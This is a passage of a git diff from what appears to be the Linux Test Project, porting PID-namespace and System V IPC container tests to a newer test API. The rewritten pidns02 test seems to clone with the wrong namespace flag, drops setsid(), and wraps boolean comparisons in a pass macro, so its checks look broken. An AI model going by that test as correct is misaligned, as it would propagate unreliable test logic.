-* Verify that:
-* 1. When parent clone a process with flag CLONE_NEWPID, the session ID of
-* child should be always one.
-*
-* 2. When parent clone a process with flag CLONE_NEWPID, the parent process group ID
-* should be always one.
-*
-* Total Tests
-*
-* Test Name: pidns02
-*
-* Test Assertion & Strategy:
-*
-* From main() clone a new child process with passing the clone_flag as CLONE_NEWPID,
-* Call the setid() inside container.
-* Inside the cloned pid check for the getsid(0) and getpgid(0)
-* Verify with global macro defined value for parent pid & child pid.
-*
-* Usage: <for command-line>
-* pidns02
-*/
-
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "pidns_helper.h"
-#include "test.h"
-
-char *TCID = "pidns02";
-int TST_TOTAL = 1;
-
-#define PGID	1
-#define SID	1
-
-/*
- * child_fn1() - Inside container
+ * Copyright (c) International Business Machines Corp., 2007
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
-int child_fn1(void *vtest)
+
+/*\
+ * [Description]
+ *
+ * Clone a process with CLONE_NEWNS flag and check:
+ *
+ * - child session ID must be 1
+ * - parent process group ID must be 1
+ */
+
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
+
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	pid_t pgid, sid;
+	pid_t sid, pgid;
 
-	setsid();
-
-	pgid = getpgid(0);
 	sid = getsid(0);
+	pgid = getpgid(0);
 
-	printf("Checking session id & group id inside container\n");
-	if (pgid == PGID && sid == SID) {
-		printf("Success: Got Group ID = %d & Session ID = %d\n",
-		       pgid, sid);
-		exit(0);
-	} else {
-		printf("Got unexpected result of Group ID = %d & Session ID = "
-		       "%d\n", pgid, sid);
-		exit(1);
-	}
+	TST_EXP_PASS(sid == 1);
+	TST_EXP_PASS(pgid == 1);
+
+	return 0;
 }
 
-static void setup(void)
+static void run(void)
 {
-	tst_require_root();
-	check_newpid();
+	int ret;
+
+	ret = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "clone failed");
 }
 
-int main(void)
-{
-	int status;
-
-	setup();
-
-	TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn1, NULL));
-	if (TEST_RETURN == -1) {
-		tst_brkm(TFAIL | TTERRNO, NULL, "clone failed");
-	} else if ((wait(&status)) == -1) {
-		tst_brkm(TFAIL | TERRNO, NULL, "wait failed");
-	}
-
-	if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
-		tst_resm(TFAIL | TERRNO, "child exited abnormally");
-	} else if (WIFSIGNALED(status)) {
-		tst_resm(TFAIL | TERRNO, "child exited with signal %d",
-			 WTERMSIG(status));
-	}
-
-	tst_exit();
-
-}
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/containers/pidns/pidns03.c b/testcases/kernel/containers/pidns/pidns03.c
index b735ab3..b9b38b5 100644
--- a/testcases/kernel/containers/pidns/pidns03.c
+++ b/testcases/kernel/containers/pidns/pidns03.c
@@ -1,124 +1,61 @@
-/* Copyright (c) 2014 Red Hat, Inc. All rights reserved.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: pidns03.c
- *
- * Description:
- * Clones a new child process with CLONE_NEWPID flag - the new child
- * process mounts procfs to a "proc" directory and checks if it belongs
- * to a new pid namespace by:
- * 1. reading value of "proc/self", which is symlink
- *    to directory named after current pid number
- * 2. comparing read value (PID) with "1"
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2014 Red Hat, Inc. All rights reserved.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-#define _GNU_SOURCE
-#include <sys/wait.h>
+/*\
+ * [Description]
+ *
+ * Clone a process with CLONE_NEWPID flag and check if procfs mounted folder
+ * belongs to the new pid namespace by looking at /proc/self .
+ */
+
 #include <sys/mount.h>
-#include <sys/types.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-#include "pidns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
 
 #define PROCDIR "proc"
-char *TCID = "pidns03";
-int TST_TOTAL	= 1;
 
-
-static void cleanup(void)
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	tst_rmdir();
-}
+	char proc_self[10];
 
-static void setup(void)
-{
-	tst_require_root();
-	check_newpid();
-	tst_tmpdir();
-	SAFE_MKDIR(cleanup, PROCDIR, 0555);
-}
+	SAFE_MOUNT("none", PROCDIR, "proc", MS_RDONLY, NULL);
 
-int child_func(void *arg)
-{
-	ssize_t r;
-	char buf[10];
+	SAFE_READLINK(PROCDIR"/self", proc_self, sizeof(proc_self) - 1);
 
-	if (mount("none", PROCDIR, "proc", MS_RDONLY, NULL) == -1) {
-		perror("mount");
-		return 1;
-	}
+	SAFE_UMOUNT(PROCDIR);
 
-	/* self is symlink to directory named after current pid number */
-	r = readlink(PROCDIR"/self", buf, sizeof(buf)-1);
-	if (r == -1) {
-		perror("readlink");
-		umount(PROCDIR);
-		return 1;
-	}
-
-	buf[r] = '\0';
-
-	umount(PROCDIR);
-
-	/* child should have PID 1 in a new pid namespace - if true
-	 * procfs belongs to the new pid namespace */
-	if (strcmp(buf, "1")) {
-		fprintf(stderr, "%s contains: %s\n", PROCDIR"/self", buf);
-		return 1;
-	}
+	TST_EXP_PASS(strcmp(proc_self, "1"), PROCDIR"/self contains 1:");
 
 	return 0;
 }
 
-static void test(void)
+static void setup(void)
 {
-	int status;
-
-	if (do_clone_tests(CLONE_NEWPID, child_func, NULL, NULL, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	SAFE_WAIT(cleanup, &status);
-
-	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
-		tst_resm(TPASS, "mounting procfs in a new namespace");
-		return;
-	}
-
-	if (WIFSIGNALED(status)) {
-		tst_resm(TFAIL, "child was killed with signal %s",
-			 tst_strsig(WTERMSIG(status)));
-		return;
-	}
-
-	tst_resm(TFAIL, "mounting procfs in a new namespace");
+	SAFE_MKDIR(PROCDIR, 0555);
 }
 
-int main(int argc, char *argv[])
+static void cleanup(void)
 {
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
-
-	cleanup();
-	tst_exit();
+	if (tst_is_mounted_at_tmpdir(PROCDIR))
+		SAFE_UMOUNT(PROCDIR);
 }
+
+static void run(void)
+{
+	int ret;
+
+	ret = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "clone failed");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/containers/pidns/pidns20.c b/testcases/kernel/containers/pidns/pidns20.c
index ec2c66b..f1e239d 100644
--- a/testcases/kernel/containers/pidns/pidns20.c
+++ b/testcases/kernel/containers/pidns/pidns20.c
@@ -1,207 +1,91 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
-* Copyright (c) International Business Machines Corp., 2007
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-***************************************************************************
-* File: pidns20.c
-* *
-* * Description:
-* *  The pidns20.c testcase verifies that signal handler of SIGUSR1 is called
-* *  (and cinit is NOT terminated) when:
-* *    - container-init blocks SIGUSR1,
-* *    - parent queues SIGUSR1 and
-* *    - a handler is specified for SIGUSR1 before it is unblocked.
-* *
-* * Test Assertion & Strategy:
-* *  Create a PID namespace container.
-* *  Block SIGUSR1 signal inside it.
-* *  Let parent to deliver SIGUSR1 signal to container.
-* *  Redefine SIGUSR1 handler of cinit to user function.
-* *  Unblock SIGUSR1 from blocked queue.
-* *  Check if user function is called.
-* *
-* * Usage: <for command-line>
-* *  pidns20
-* *
-* * History:
-* *  DATE      NAME                             DESCRIPTION
-* *  13/11/08  Gowrishankar M 			Creation of this test.
-* *            <gowrishankar.m@in.ibm.com>
-*
-******************************************************************************/
-#define _GNU_SOURCE 1
-#include <sys/wait.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include "pidns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "pidns20";
-int TST_TOTAL = 1;
-
-int parent_cinit[2];
-int cinit_parent[2];
-int broken = 1;			/* broken should be 0 when test completes properly */
-
-#define CHILD_PID       1
-#define PARENT_PID      0
-
-/*
- * child_signal_handler() - to handle SIGUSR1
+ * Copyright (c) International Business Machines Corp., 2007
+ *               13/11/08  Gowrishankar M  <gowrishankar.m@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
-static void child_signal_handler(int sig, siginfo_t * si, void *unused)
-{
-	if (si->si_signo != SIGUSR1)
-		tst_resm(TBROK, "cinit: received %s unexpectedly!",
-			 strsignal(si->si_signo));
-	else
-		tst_resm(TPASS, "cinit: user function is called as expected");
 
-	/* Disable broken flag */
-	broken = 0;
+/*\
+ * [Description]
+ *
+ * Clone a process with CLONE_NEWPID flag, block SIGUSR1 signal before sending
+ * it from parent and check if it's received once SIGUSR1 signal is unblocked.
+ */
+
+#define _GNU_SOURCE 1
+#include <signal.h>
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
+
+static volatile int signals;
+static volatile int last_signo;
+
+static void child_signal_handler(LTP_ATTRIBUTE_UNUSED int sig, siginfo_t *si, LTP_ATTRIBUTE_UNUSED void *unused)
+{
+	last_signo = si->si_signo;
+	signals++;
 }
 
-/*
- * child_fn() - Inside container
- */
-int child_fn(void *arg)
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	pid_t pid, ppid;
-	sigset_t newset;
 	struct sigaction sa;
-	char buf[5];
+	sigset_t newset;
+	pid_t cpid, ppid;
 
-	/* Setup pipe read and write ends */
-	pid = getpid();
+	cpid = getpid();
 	ppid = getppid();
 
-	if (pid != CHILD_PID || ppid != PARENT_PID) {
-		printf("cinit: pidns was not created properly\n");
-		exit(1);
+	if (cpid != 1 || ppid != 0) {
+		tst_res(TFAIL, "Got unexpected result of cpid=%d ppid=%d", cpid, ppid);
+		return 0;
 	}
 
-	/* Setup pipes to communicate with parent */
-	close(cinit_parent[0]);
-	close(parent_cinit[1]);
+	SAFE_SIGEMPTYSET(&newset);
+	SAFE_SIGADDSET(&newset, SIGUSR1);
+	SAFE_SIGPROCMASK(SIG_BLOCK, &newset, 0);
 
-	/* Block SIGUSR1 signal */
-	sigemptyset(&newset);
-	sigaddset(&newset, SIGUSR1);
-	if (sigprocmask(SIG_BLOCK, &newset, 0) == -1) {
-		perror("cinit: sigprocmask() failed");
-		exit(1);
-	}
-	tst_resm(TINFO, "cinit: blocked SIGUSR1");
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	/* Let parent to queue SIGUSR1 in pending */
-	if (write(cinit_parent[1], "c:go", 5) != 5) {
-		perror("cinit: pipe is broken to write");
-		exit(1);
-	}
-
-	/* Check if parent has queued up SIGUSR1 */
-	read(parent_cinit[0], buf, 5);
-	if (strcmp(buf, "p:go") != 0) {
-		printf("cinit: parent did not respond!\n");
-		exit(1);
-	}
-
-	/* Now redefine handler for SIGUSR1 */
 	sa.sa_flags = SA_SIGINFO;
-	sigfillset(&sa.sa_mask);
+	SAFE_SIGFILLSET(&sa.sa_mask);
 	sa.sa_sigaction = child_signal_handler;
-	if (sigaction(SIGUSR1, &sa, NULL) == -1) {
-		perror("cinit: sigaction failed");
-		exit(1);
+
+	SAFE_SIGACTION(SIGUSR1, &sa, NULL);
+
+	SAFE_SIGPROCMASK(SIG_UNBLOCK, &newset, 0);
+
+	if (signals != 1) {
+		tst_res(TFAIL, "Received %d signals", signals);
+		return 0;
 	}
 
-	/* Unblock traffic on SIGUSR1 queue */
-	tst_resm(TINFO, "cinit: unblocking SIGUSR1");
-	sigprocmask(SIG_UNBLOCK, &newset, 0);
-
-	/* Check if new handler is called */
-	if (broken == 1) {
-		printf("cinit: broken flag didn't change\n");
-		exit(1);
+	if (last_signo != SIGUSR1) {
+		tst_res(TFAIL, "Received %s signal", tst_strsig(last_signo));
+		return 0;
 	}
 
-	/* Cleanup and exit */
-	close(cinit_parent[1]);
-	close(parent_cinit[0]);
-	exit(0);
+	tst_res(TPASS, "Received SIGUSR1 signal after unblock");
+
+	return 0;
 }
 
-static void setup(void)
+static void run(void)
 {
-	tst_require_root();
-	check_newpid();
+	int ret;
+
+	ret = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "clone failed");
+
+	TST_CHECKPOINT_WAIT(0);
+
+	SAFE_KILL(ret, SIGUSR1);
+
+	TST_CHECKPOINT_WAKE(0);
 }
 
-int main(void)
-{
-	int status;
-	char buf[5];
-	pid_t cpid;
-
-	setup();
-
-	/* Create pipes for intercommunication */
-	if (pipe(parent_cinit) == -1 || pipe(cinit_parent) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "pipe failed");
-	}
-
-	cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL);
-	if (cpid == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "clone failed");
-	}
-
-	/* Setup pipe read and write ends */
-	close(cinit_parent[1]);
-	close(parent_cinit[0]);
-
-	/* Is container ready */
-	read(cinit_parent[0], buf, 5);
-	if (strcmp(buf, "c:go") != 0) {
-		tst_brkm(TBROK, NULL, "parent: container did not respond!");
-	}
-
-	/* Enqueue SIGUSR1 in pending signal queue of container */
-	SAFE_KILL(NULL, cpid, SIGUSR1);
-
-	tst_resm(TINFO, "parent: signalled SIGUSR1 to container");
-	if (write(parent_cinit[1], "p:go", 5) != 5) {
-		tst_brkm(TBROK | TERRNO, NULL, "write failed");
-	}
-
-	/* collect exit status of child */
-	SAFE_WAIT(NULL, &status);
-
-	if (WIFSIGNALED(status)) {
-		if (WTERMSIG(status) == SIGUSR1)
-			tst_resm(TFAIL,
-				 "user function was not called inside cinit");
-		else
-			tst_resm(TBROK,
-				 "cinit was terminated by %d",
-				 WTERMSIG(status));
-	}
-
-	/* Cleanup and exit */
-	close(parent_cinit[1]);
-	close(cinit_parent[0]);
-	tst_exit();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/pidns/pidns30.c b/testcases/kernel/containers/pidns/pidns30.c
index 3f82834..c8b0806 100644
--- a/testcases/kernel/containers/pidns/pidns30.c
+++ b/testcases/kernel/containers/pidns/pidns30.c
@@ -91,7 +91,7 @@
 static void remove_mqueue(mqd_t mqd)
 {
 	mq_close(mqd);
-	ltp_syscall(__NR_mq_unlink, mqname);
+	tst_syscall(__NR_mq_unlink, mqname);
 }
 
 static void cleanup(void)
@@ -109,7 +109,7 @@
 static void cleanup_child(void)
 {
 	if (mqd != -1) {
-		ltp_syscall(__NR_mq_notify, mqd, NULL);
+		tst_syscall(__NR_mq_notify, mqd, NULL);
 	}
 	cleanup();
 }
@@ -182,7 +182,7 @@
 	while (read(father_to_child[0], buf, 1) != 1)
 		sleep(1);
 
-	mqd = ltp_syscall(__NR_mq_open, mqname, O_RDONLY, 0, NULL);
+	mqd = tst_syscall(__NR_mq_open, mqname, O_RDONLY, 0, NULL);
 	if (mqd == -1) {
 		perror("mq_open failed");
 		return 1;
@@ -193,7 +193,7 @@
 	notif.sigev_notify = SIGEV_SIGNAL;
 	notif.sigev_signo = SIGUSR1;
 	notif.sigev_value.sival_int = mqd;
-	if (ltp_syscall(__NR_mq_notify, mqd, &notif) == -1) {
+	if (tst_syscall(__NR_mq_notify, mqd, &notif) == -1) {
 		perror("mq_notify failed");
 		return 1;
 	} else
@@ -248,7 +248,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "pipe failed");
 	}
 
-	ltp_syscall(__NR_mq_unlink, mqname);
+	tst_syscall(__NR_mq_unlink, mqname);
 
 	/* container creation on PID namespace */
 	cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL);
@@ -256,7 +256,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
 
 	mqd =
-	    ltp_syscall(__NR_mq_open, mqname, O_RDWR | O_CREAT | O_EXCL, 0777,
+	    tst_syscall(__NR_mq_open, mqname, O_RDWR | O_CREAT | O_EXCL, 0777,
 		    NULL);
 	if (mqd == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "mq_open failed");
diff --git a/testcases/kernel/containers/pidns/pidns31.c b/testcases/kernel/containers/pidns/pidns31.c
index fb8035d..8821ec8 100644
--- a/testcases/kernel/containers/pidns/pidns31.c
+++ b/testcases/kernel/containers/pidns/pidns31.c
@@ -93,7 +93,7 @@
 static void remove_mqueue(mqd_t mqd)
 {
 	mq_close(mqd);
-	ltp_syscall(__NR_mq_unlink, mqname);
+	tst_syscall(__NR_mq_unlink, mqname);
 }
 
 /*
@@ -116,7 +116,7 @@
 		break;
 
 	case F_STEP_2:
-		ltp_syscall(__NR_mq_notify, mqd, NULL);
+		tst_syscall(__NR_mq_notify, mqd, NULL);
 		/* fall through */
 	case F_STEP_1:
 		remove_mqueue(mqd);
@@ -172,7 +172,7 @@
 	}
 	tst_resm(TINFO, "cinit: my father is ready to receive a message");
 
-	mqd = ltp_syscall(__NR_mq_open, mqname, O_WRONLY, 0, NULL);
+	mqd = tst_syscall(__NR_mq_open, mqname, O_WRONLY, 0, NULL);
 	if (mqd == (mqd_t) - 1) {
 		tst_resm(TBROK, "cinit: mq_open() failed (%s)",
 			 strerror(errno));
@@ -264,9 +264,9 @@
 		cleanup_mqueue(TBROK, NO_STEP, 0);
 	}
 
-	ltp_syscall(__NR_mq_unlink, mqname);
+	tst_syscall(__NR_mq_unlink, mqname);
 	mqd =
-	    ltp_syscall(__NR_mq_open, mqname, O_RDWR | O_CREAT | O_EXCL, 0777,
+	    tst_syscall(__NR_mq_open, mqname, O_RDWR | O_CREAT | O_EXCL, 0777,
 		    NULL);
 	if (mqd == (mqd_t) - 1) {
 		tst_resm(TBROK, "parent: mq_open() failed (%s)",
@@ -289,7 +289,7 @@
 	info.mqd = mqd;
 	info.pid = cpid;
 	notif.sigev_value.sival_ptr = &info;
-	if (ltp_syscall(__NR_mq_notify, mqd, &notif) == (mqd_t) -1) {
+	if (tst_syscall(__NR_mq_notify, mqd, &notif) == (mqd_t) -1) {
 		tst_resm(TBROK, "parent: mq_notify() failed (%s)",
 			 strerror(errno));
 		cleanup_mqueue(TBROK, F_STEP_1, mqd);
diff --git a/testcases/kernel/containers/pidns/pidns32.c b/testcases/kernel/containers/pidns/pidns32.c
index 316c5d1..333e1fc 100644
--- a/testcases/kernel/containers/pidns/pidns32.c
+++ b/testcases/kernel/containers/pidns/pidns32.c
@@ -1,101 +1,72 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- * The kernel imposes a limit of 32 nested levels of pid namespaces.
+/*\
+ * [Description]
+ *
+ * Clone a process with CLONE_NEWPID flag and check for the maxium amount of
+ * nested containers.
  */
 
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "pidns_helper.h"
-#include "test.h"
+
+#include <sys/mman.h>
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
 
 #define MAXNEST 32
 
-char *TCID = "pidns32";
-int TST_TOTAL = 1;
+static int *level;
 
-static void setup(void)
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	tst_require_root();
-	check_newpid();
-	tst_tmpdir();
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
-static int child_fn1(void *arg)
-{
-	pid_t cpid1;
-	long level = (long)arg;
+	pid_t cpid;
 	int status;
 
-	if (level == MAXNEST)
+	if (*level == MAXNEST)
 		return 0;
-	cpid1 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD,
-		(void *)child_fn1, (void *)(level + 1));
-	if (cpid1 < 0) {
-		printf("level %ld:unexpected error: (%d) %s\n",
-			level, errno, strerror(errno));
-		return 1;
-	}
-	if (waitpid(cpid1, &status, 0) == -1)
-		return 1;
 
-	if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
-		printf("child exited abnormally\n");
-		return 1;
-	} else if (WIFSIGNALED(status)) {
-		printf("child was killed with signal = %d", WTERMSIG(status));
-		return 1;
-	}
+	(*level)++;
+
+	cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_func, 0);
+	if (cpid < 0)
+		tst_brk(TBROK | TERRNO, "clone failed");
+
+	SAFE_WAITPID(cpid, &status, 0);
+
 	return 0;
 }
 
-static void test_max_nest(void)
+static void setup(void)
 {
-	pid_t cpid1;
-
-	cpid1 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD,
-		(void *)child_fn1, (void *)1);
-	if (cpid1 < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	tst_record_childstatus(cleanup, cpid1);
+	level = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
+	int ret, status;
 
-	setup();
-	tst_parse_opts(argc, argv, NULL, NULL);
+	*level = 1;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_max_nest();
+	ret = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_func, 0);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "clone failed");
+
+	SAFE_WAITPID(ret, &status, 0);
+
+	if (*level < MAXNEST) {
+		tst_res(TFAIL, "Nested containers should be %d, but they are %d", MAXNEST, *level);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TPASS, "All %d containers have been nested", MAXNEST);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/containers/sysvipc/Makefile b/testcases/kernel/containers/sysvipc/Makefile
index 00b537f..426fe52 100644
--- a/testcases/kernel/containers/sysvipc/Makefile
+++ b/testcases/kernel/containers/sysvipc/Makefile
@@ -1,28 +1,8 @@
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2007                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2007
+# Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-include $(abs_srcdir)/../Makefile.inc
-
-LDLIBS			:= -lclone $(LDLIBS)
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/containers/sysvipc/common.h b/testcases/kernel/containers/sysvipc/common.h
new file mode 100644
index 0000000..258d355
--- /dev/null
+++ b/testcases/kernel/containers/sysvipc/common.h
@@ -0,0 +1,109 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines Corp., 2007
+ *               Rishikesh K Rajak <risrajak@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef COMMON_H
+#define COMMON_H
+
+#include <stdlib.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "lapi/namespaces_constants.h"
+
+enum {
+	T_CLONE,
+	T_UNSHARE,
+	T_NONE,
+};
+
+static int dummy_child(void *v)
+{
+	(void)v;
+	return 0;
+}
+
+static void check_newipc(void)
+{
+	int pid, status;
+
+	pid = ltp_clone_quick(CLONE_NEWIPC | SIGCHLD, dummy_child, NULL);
+	if (pid < 0)
+		tst_brk(TCONF | TERRNO, "CLONE_NEWIPC not supported");
+
+	SAFE_WAITPID(pid, &status, 0);
+}
+
+static inline int get_clone_unshare_enum(const char* str_op)
+{
+	int use_clone;
+
+	use_clone = T_NONE;
+
+	if (!str_op || !strcmp(str_op, "none"))
+		use_clone = T_NONE;
+	else if (!strcmp(str_op, "clone"))
+		use_clone = T_CLONE;
+	else if (!strcmp(str_op, "unshare"))
+		use_clone = T_UNSHARE;
+	else
+		tst_brk(TBROK, "Test execution mode <clone|unshare|none>");
+
+	return use_clone;
+}
+
+static void clone_test(unsigned long clone_flags, int (*fn1)(void *arg), void *arg1)
+{
+	int pid;
+
+	pid = ltp_clone_quick(clone_flags | SIGCHLD, fn1, arg1);
+	if (pid < 0)
+		tst_brk(TBROK | TERRNO, "ltp_clone_quick error");
+}
+
+static void unshare_test(unsigned long clone_flags, int (*fn1)(void *arg), void *arg1)
+{
+	int pid;
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		SAFE_UNSHARE(clone_flags);
+
+		fn1(arg1);
+		exit(0);
+	}
+}
+
+static void plain_test(int (*fn1)(void *arg), void *arg1)
+{
+	int pid;
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		fn1(arg1);
+		exit(0);
+	}
+}
+
+static void clone_unshare_test(int use_clone, unsigned long clone_flags,
+			       int (*fn1)(void *arg), void *arg1)
+{
+	switch (use_clone) {
+	case T_NONE:
+		plain_test(fn1, arg1);
+	break;
+	case T_CLONE:
+		clone_test(clone_flags, fn1, arg1);
+	break;
+	case T_UNSHARE:
+		unshare_test(clone_flags, fn1, arg1);
+	break;
+	default:
+		tst_brk(TBROK, "%s: bad use_clone option: %d", __FUNCTION__, use_clone);
+	break;
+	}
+}
+
+#endif
diff --git a/testcases/kernel/containers/sysvipc/ipcns_helper.h b/testcases/kernel/containers/sysvipc/ipcns_helper.h
deleted file mode 100644
index 01ad0ff..0000000
--- a/testcases/kernel/containers/sysvipc/ipcns_helper.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
-* Copyright (c) International Business Machines Corp., 2007
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-* Author: Rishikesh K Rajak <risrajak@in.ibm.com>
-***************************************************************************/
-#include <sched.h>
-#include "../libclone/libclone.h"
-#include "test.h"
-#include "safe_macros.h"
-
-static int dummy_child(void *v)
-{
-	(void) v;
-	return 0;
-}
-
-static void check_newipc(void)
-{
-	int pid, status;
-
-	if (tst_kvercmp(2, 6, 19) < 0)
-		tst_brkm(TCONF, NULL, "CLONE_NEWIPC not supported");
-
-	pid = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, dummy_child, NULL);
-	if (pid == -1)
-		tst_brkm(TCONF | TERRNO, NULL, "CLONE_NEWIPC not supported");
-
-	SAFE_WAIT(NULL, &status);
-}
diff --git a/testcases/kernel/containers/sysvipc/mesgq_nstest.c b/testcases/kernel/containers/sysvipc/mesgq_nstest.c
